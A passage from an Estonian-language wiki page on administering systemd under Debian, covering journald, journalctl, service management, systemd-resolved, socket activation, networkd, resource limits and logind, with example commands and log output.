   to /lib/systemd/system/serial-getty@.service.&lt;br /&gt;
 &lt;br /&gt;
 # systemctl start serial-getty@ttyS0.service&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.&lt;br /&gt;
&lt;br /&gt;
====NUT====&lt;br /&gt;
&lt;br /&gt;
Tundub, et töötab, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl status nut-server&lt;br /&gt;
 # systemctl status nut-client&lt;br /&gt;
&lt;br /&gt;
====iptables====&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.auul.pri.ee/wiki/Iptables_kasutamine_Debianiga#iptables-persistant&lt;br /&gt;
&lt;br /&gt;
====rsyslog====&lt;br /&gt;
&lt;br /&gt;
Peatamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop syslog.socket rsyslog.service&lt;br /&gt;
&lt;br /&gt;
vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.&lt;br /&gt;
&lt;br /&gt;
====Varnish====&lt;br /&gt;
&lt;br /&gt;
Kuulava pordi muutmine failis&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnish.service &lt;br /&gt;
 ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m&lt;br /&gt;
&lt;br /&gt;
Logimisel X-Forwarded-For kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnishncsa.service &lt;br /&gt;
 ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \&amp;quot;%%r\&amp;quot; %%s %%b \&amp;quot;%%{Referer}i\&amp;quot; \&amp;quot;%%{User-agent}i\&amp;quot;' -a -w /var/log/varnish/varnishncsa.log&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
 # /etc/init.d/varnishncsa restart&lt;br /&gt;
 # /etc/init.d/varnish restart&lt;br /&gt;
&lt;br /&gt;
Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/varnish/varnishncsa.log&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Systemd sisaldab logimise komponenti journald. &lt;br /&gt;
&lt;br /&gt;
====Süsteemi alglaadimine====&lt;br /&gt;
&lt;br /&gt;
Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool&lt;br /&gt;
&lt;br /&gt;
 # journalctl&lt;br /&gt;
 -- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. --&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22)&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
journald töötamisest annab tunnistust protsess&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep journald&lt;br /&gt;
 ..&lt;br /&gt;
 root        172  0.1  1.0  35112  5208 ?        Ss   08:55   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)&lt;br /&gt;
&lt;br /&gt;
 Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped&lt;br /&gt;
 -- Subject: The Journal has been stopped&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-journald&lt;br /&gt;
&lt;br /&gt;
 # journalctl -xn&lt;br /&gt;
 ...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Service...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Journal Service.&lt;br /&gt;
 May 19 02:36:01 keskus systemd-journal[32447]: Journal started&lt;br /&gt;
 -- Subject: The Journal has been started&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
 --&lt;br /&gt;
 -- The system journal process has been starting up, opened the journal&lt;br /&gt;
 -- files for writing and is now ready to process requests.&lt;br /&gt;
&lt;br /&gt;
====Apache veebiserver====&lt;br /&gt;
&lt;br /&gt;
Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline&lt;br /&gt;
&lt;br /&gt;
 # journalctl -u apache2&lt;br /&gt;
 ..&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server...&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed!&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning).&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Output of config test was:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: &amp;lt;VirtualHost&amp;gt; directive missing closing '&amp;gt;'&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed.&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs&lt;br /&gt;
* http://0pointer.de/blog/projects/journalctl.html&lt;br /&gt;
&lt;br /&gt;
===targetite vahel liikumine===&lt;br /&gt;
&lt;br /&gt;
Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit&lt;br /&gt;
&lt;br /&gt;
 systemd.unit=emergency.target&lt;br /&gt;
&lt;br /&gt;
tulemusena jõutakse (arvuti hostname on antud juhul systemd)&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 Welcome to Debian GNU/Linux stretch/sid!&lt;br /&gt;
 &lt;br /&gt;
 [260222.496889] systemd[1]: Set hostname to &amp;lt;systemd&amp;gt;.&lt;br /&gt;
 [  OK  ] Created slice Root Slice.&lt;br /&gt;
 [260223.089638] systemd[1]: Created slice Root Slice.&lt;br /&gt;
 [260223.096748] systemd[1]: Starting Root Slice.&lt;br /&gt;
 [  OK  ] Created slice System Slice.&lt;br /&gt;
 [260223.109289] systemd[1]: Created slice System Slice.&lt;br /&gt;
 [260223.115005] systemd[1]: Starting System Slice.&lt;br /&gt;
 [  OK  ] Started Emergency Shell.&lt;br /&gt;
 [260223.134133] systemd[1]: Started Emergency Shell.&lt;br /&gt;
 [260223.146296] systemd[1]: Starting Emergency Shell...&lt;br /&gt;
          Starting Emergency Shell...&lt;br /&gt;
 [  OK  ] Reached target Emergency Mode.&lt;br /&gt;
 [260223.192047] systemd[1]: Reached target Emergency Mode.&lt;br /&gt;
 [260223.205684] systemd[1]: Startup finished in 3.658s (kernel) + 967ms (userspace) = 4.626s.&lt;br /&gt;
 [260223.221455] systemd[1]: Starting Emergency Mode.&lt;br /&gt;
 [260223.232336] systemd[157]: emergency.service: Failed at step EXEC spawning /bin/plymouth: No such file or directory&lt;br /&gt;
 Welcome to emergency mode! After logging in, type &amp;quot;journalctl -xb&amp;quot; to view&lt;br /&gt;
 system logs, &amp;quot;systemctl reboot&amp;quot; to reboot, &amp;quot;systemctl default&amp;quot; or ^D to&lt;br /&gt;
 try again to boot into default mode.&lt;br /&gt;
 Give root password for maintenance&lt;br /&gt;
 (or press Control-D to continue): &amp;lt;root parool&amp;gt;&lt;br /&gt;
 root@systemd:~#&lt;br /&gt;
&lt;br /&gt;
Tavalisse nn multi-user režiimi jõudmiseks sobib öelda seejärel&lt;br /&gt;
&lt;br /&gt;
 # systemctl isolate multi-user.target&lt;br /&gt;
&lt;br /&gt;
Arvuti väljalülitamiseks sh toitest&lt;br /&gt;
&lt;br /&gt;
 # systemctl poweroff&lt;br /&gt;
&lt;br /&gt;
===systemd-socket-proxyd===&lt;br /&gt;
&lt;br /&gt;
systemd-ocket-proxyd võimaldab käivitada teenuse selle poole pöördumisel. Nt nginx protsessid käivitatakse port 80 poole pöördumisel. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* seadistada nginx server kuulama port 8080&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/nginx/sites-available/default&lt;br /&gt;
 ..&lt;br /&gt;
 server {&lt;br /&gt;
        listen 8080 default_server;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* tekitada .service tüüpi unit (erinevalt man systemd-socket-proxyd soovitusest on JoinsNamespaceOf ja PrivateNetwork välja kommenteeritud ja lülitatud)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Rquires=nginx.service&lt;br /&gt;
 After=nginx.service&lt;br /&gt;
 # JoinsNamespaceOf=nginx.service&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 ExecStart=/lib/systemd/systemd-socket-proxyd 127.0.0.1:8080&lt;br /&gt;
 PrivateTmp=yes&lt;br /&gt;
 PrivateNetwork=no&lt;br /&gt;
&lt;br /&gt;
* tekitada .socket tüüpi unit&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.socket &lt;br /&gt;
 [Socket]&lt;br /&gt;
 ListenStream=80&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb sisse lülitada ja käivitada socket unit (nginx ise ega proxy-to-nginx.service ei pea töötama)&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable proxy-to-nginx.socket&lt;br /&gt;
 # systemctl start proxy-to-nginx.socket&lt;br /&gt;
&lt;br /&gt;
Tulemusena pöördudes aadressile http://127.0.0.1:80/ käivitatakse .service ja nginx protsessid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://developer.atlassian.com/blog/2015/03/docker-systemd-socket-activation/&lt;br /&gt;
* man systemd-socket-proxyd&lt;br /&gt;
&lt;br /&gt;
===systemd-resolved===&lt;br /&gt;
&lt;br /&gt;
Paigaldada pakett libnss-resolve&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libnss-resolve&lt;br /&gt;
&lt;br /&gt;
Kirjeldada meelepärane nö ISP nimeserver&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/resolved.conf&lt;br /&gt;
 &lt;br /&gt;
 [Resolve]&lt;br /&gt;
 DNS=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
Lülitada sisse systemd-resolved&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-resolved&lt;br /&gt;
 # systemctl enable systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Testida systemd-resolved rekursiivse nimeserveri töötamist&lt;br /&gt;
&lt;br /&gt;
 # /lib/systemd/systemd-resolve-host kuutorvaja.eenet.ee&lt;br /&gt;
 kuutorvaja.eenet.ee: 193.40.0.7&lt;br /&gt;
 &lt;br /&gt;
 -- Information acquired via protocol DNS in 157.3ms.&lt;br /&gt;
&lt;br /&gt;
Kustutada fail /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Kasutada failis /etc/nsswitch.conf rida&lt;br /&gt;
&lt;br /&gt;
 hosts:          files resolve dns&lt;br /&gt;
&lt;br /&gt;
Soovi korral&lt;br /&gt;
&lt;br /&gt;
 # ln -fs /run/systemd/resolve/resolv.conf /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Debugi sisselülitamine&lt;br /&gt;
&lt;br /&gt;
 # cp /lib/systemd/system/systemd-resolved.service /etc/systemd/system&lt;br /&gt;
&lt;br /&gt;
kus on sektsioonis Service lisatud debug&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 &lt;br /&gt;
 ..&lt;br /&gt;
 Environment=SYSTEMD_LOG_LEVEL=debug&lt;br /&gt;
&lt;br /&gt;
dns cache jms logisse kirjutamiseks&lt;br /&gt;
&lt;br /&gt;
 # kill -SIGUSR1 PID&lt;br /&gt;
&lt;br /&gt;
Tulemuse esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-resolve --status&lt;br /&gt;
&lt;br /&gt;
Logi jälgimine &lt;br /&gt;
&lt;br /&gt;
 # journalctl -f -u systemd-resolved&lt;br /&gt;
&lt;br /&gt;
===localectl===&lt;br /&gt;
&lt;br /&gt;
 # localectl list-locales&lt;br /&gt;
 C.UTF-8&lt;br /&gt;
 en_US.utf8&lt;br /&gt;
&lt;br /&gt;
===Service haldamine===&lt;br /&gt;
&lt;br /&gt;
Käivitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl start apache2&lt;br /&gt;
&lt;br /&gt;
Oleku küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl status apache2&lt;br /&gt;
&lt;br /&gt;
Seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop apache2&lt;br /&gt;
&lt;br /&gt;
Väljalülitamine, st selliselt seadistatud teenust ei käivitata automaatselt (süsteemi alglaadimisel, mingi event esinemisel vms), aga käsitsi start abil saab käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl disable apache2&lt;br /&gt;
&lt;br /&gt;
Sisselülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimine, selliselt seadistatud teenust ei saa üldse käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl mask apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimise väljalülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl unmask apache2&lt;br /&gt;
&lt;br /&gt;
Kõigi service'ite nimekirja küsimine (töötavate küsimiseks jätta -a ära; sarnaselt saab küsida target, socket, mount)&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type service -a&lt;br /&gt;
&lt;br /&gt;
Kõigi failide nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-unit-files --type=service&lt;br /&gt;
&lt;br /&gt;
systemd seadistustes tehtud muudatuste esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-delta&lt;br /&gt;
&lt;br /&gt;
Sõltuvuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-dependencies sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuse omaduste esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl show sshd.service&lt;br /&gt;
&lt;br /&gt;
Unitite seadistusfailidega töötamiseks sobib öelda (vastavalt redigeeritakse /etc/systemd/system/nginx.service, /etc/systemd/system/nginx.service.d/failinimi või esitatakse faili sisu)&lt;br /&gt;
&lt;br /&gt;
 # systemctl edit --full nginx.service&lt;br /&gt;
 # systemctl edit nginx.service&lt;br /&gt;
 # systemctl cat nginx.service&lt;br /&gt;
&lt;br /&gt;
===systemd-networkd===&lt;br /&gt;
&lt;br /&gt;
systemd-networkd tegeleb võrgu seadistamisega. Nt nspawn konteinerile saab võrgu seadistada selliselt&lt;br /&gt;
&lt;br /&gt;
* seadistada konteinerit hostiva arvuti võrguühendus nt bridge-utils bridge abil&lt;br /&gt;
&lt;br /&gt;
* tekitada konteinerisse seadistusfail (kui arvutis on mitu võrguliidest, siis võiks iga liidese jaoks olla oma fail)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/network/50-static.network &lt;br /&gt;
 [Match]&lt;br /&gt;
 Name=host0&lt;br /&gt;
 &lt;br /&gt;
 [Network]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
&lt;br /&gt;
* /etc/network/interfaces failis kirjeldada vaid lo seade&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/network/interfaces&lt;br /&gt;
 source /etc/network/interfaces.d/*&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
* võrgu käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-networkd&lt;br /&gt;
&lt;br /&gt;
* ipv4 ja ipv6 aadressi seadistamiseks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 [Network]&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=110:1/64&lt;br /&gt;
&lt;br /&gt;
===Konsooli alglaadimisjärgse puhastamise lõpetamine===&lt;br /&gt;
&lt;br /&gt;
Järgneva töötamise eelduseks on /etc/default/grub failis &amp;quot;quiet&amp;quot; eemaldamine, vt man systemd -&amp;gt; ShowStatus 'Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error.' Alternatiiv on kasutada kernel argumenti 'systemd.show_status=1'.&lt;br /&gt;
&lt;br /&gt;
Viisakas variant&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl edit getty@tty1&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vulgaarsem variant&lt;br /&gt;
&lt;br /&gt;
 # mkdir /etc/systemd/system/getty@tty1.service.d&lt;br /&gt;
 # cat /etc/systemd/system/getty@tty1.service.d/noclear.conf&lt;br /&gt;
 [Service]&lt;br /&gt;
 TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
Ja järgmisel alglaadimisel enam ekraani ei puhastata&lt;br /&gt;
&lt;br /&gt;
 # reboot&lt;br /&gt;
&lt;br /&gt;
NB! Selleks, et tuuma teateid oleks näha tuleb lisaks GRUB2 seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/grub&lt;br /&gt;
 ..&lt;br /&gt;
 GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://mywiki.wooledge.org/SystemdNoClear&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd_FAQ&lt;br /&gt;
&lt;br /&gt;
===journalctl kasuamine===&lt;br /&gt;
&lt;br /&gt;
Bootimisest alates antud logi sissekannete esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b&lt;br /&gt;
&lt;br /&gt;
Selleks, et näha erinevate bootimiskordade logi tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/log/journal&lt;br /&gt;
 # sed -ri s/^#Storage=auto/Storage=persistent/ /etc/systemd/journald.conf&lt;br /&gt;
&lt;br /&gt;
tulemusena saab nimekirja vaadata&lt;br /&gt;
&lt;br /&gt;
 # journalctl --list-boots&lt;br /&gt;
&lt;br /&gt;
ning konkreetse korra sissekandeid nt&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b -2&lt;br /&gt;
&lt;br /&gt;
Uniti vms logi follow režiimis esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # journalctl -n 20 -f -u ssh&lt;br /&gt;
&lt;br /&gt;
===Systemd debugimine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://freedesktop.org/wiki/Software/systemd/Debugging/&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse kontrollimine===&lt;br /&gt;
&lt;br /&gt;
 # grep -v &amp;quot;^#&amp;quot; /etc/systemd/system.conf&lt;br /&gt;
 &lt;br /&gt;
 [Manager]&lt;br /&gt;
 DefaultCPUAccounting=yes&lt;br /&gt;
 DefaultBlockIOAccounting=yes&lt;br /&gt;
 DefaultMemoryAccounting=yes&lt;br /&gt;
&lt;br /&gt;
 # systemctl set-property nginx.service MemoryLimit=10M&lt;br /&gt;
&lt;br /&gt;
===systemd-run===&lt;br /&gt;
&lt;br /&gt;
 $ systemd-run --user --unit=limit-test.scope --scope -p MemoryAccounting=yes -p MemoryLimit=2M bash&lt;br /&gt;
&lt;br /&gt;
 $ systemctl show --user limit-test.scope | grep Mem&lt;br /&gt;
 MemoryAccounting=yes&lt;br /&gt;
 MemoryLimit=2M&lt;br /&gt;
&lt;br /&gt;
või&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemd-run --user --scope -p MemoryMax=10M -p MemorySwapMax=0 bash&lt;br /&gt;
Running as unit: run-p10909-i11209.scope; invocation ID: d3b7a7cc8af2431282ac1e1e7d469e2a&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# python3 -c 'a = &amp;quot;x&amp;quot; * 20 * 1024 * 1024'&lt;br /&gt;
Killed&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-boot===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/systemd-boot&lt;br /&gt;
&lt;br /&gt;
===systemd-logind===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* seat&lt;br /&gt;
* session&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kasutaja sisselomisel moodustatakse nö sessioon&lt;br /&gt;
&lt;br /&gt;
* '$ systemd --user ..' - käivitatakse per kasutaja systemd lahendus (seejuurde kuulub systemd-user service'ite käivitamine)&lt;br /&gt;
* '$ busctl lis') - per kasutaja dbus käivitamine (busctl list)&lt;br /&gt;
* '$ lsns' - moodustatakse per kasutaja namespace'ide komplekt (user, mount, pid jne)&lt;br /&gt;
* 'man pam_systemd' - pam kaudu kutsutakse välja kasutajapõhine systemd lahendus&lt;br /&gt;
&lt;br /&gt;
nn linger abil saab kasutaja sessiooni tekitada automaatselt süsteemi algkäivituse käigus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
systemd-logind asendab ConsoleKit lahenduse. nt saab küsida&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# loginctl list-sessions&lt;br /&gt;
   SESSION        UID USER             SEAT             TTY             &lt;br /&gt;
        31          0 root             seat0            /dev/tty2       &lt;br /&gt;
       189       1001 priit            seat0            /dev/tty4       &lt;br /&gt;
         2       1000 imre             seat0                            &lt;br /&gt;
        c5        111 lightdm          seat0                            &lt;br /&gt;
       187       1001 priit            seat0            /dev/tty3       &lt;br /&gt;
        33       1000 imre             seat0                            &lt;br /&gt;
&lt;br /&gt;
6 sessions listed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Arvuti sees root kasutajana tavakasutaja service nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user -M kasutaja@.host list-units --type=service&lt;br /&gt;
  UNIT             LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
  dbus.service     loaded active running D-Bus User Message Bus&lt;br /&gt;
  nginx-08.service loaded active running My Nginx Quadlet Service&lt;br /&gt;
  nginx-09.service loaded active running My Nginx 09 Quadlet Service&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja status küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* linger info - no&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://yakking.branchable.com/posts/systemd-4-logind/&lt;br /&gt;
&lt;br /&gt;
===systemd system service===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===systemd user service===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt on kasutusel systemd põhises keskkonnas nn süsteemne systemd halduse lahendus, mis tegeleb teenus-protsessidega, siis systemd user service on selline asjakorraldus, kus sarnane tulemus saavutatakse tavakasutaja tingimustes. Üks võimalik lähtepunkt on, et süsteemi on tavakasutaja abil sisse logitud üle ssh ühes aknas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
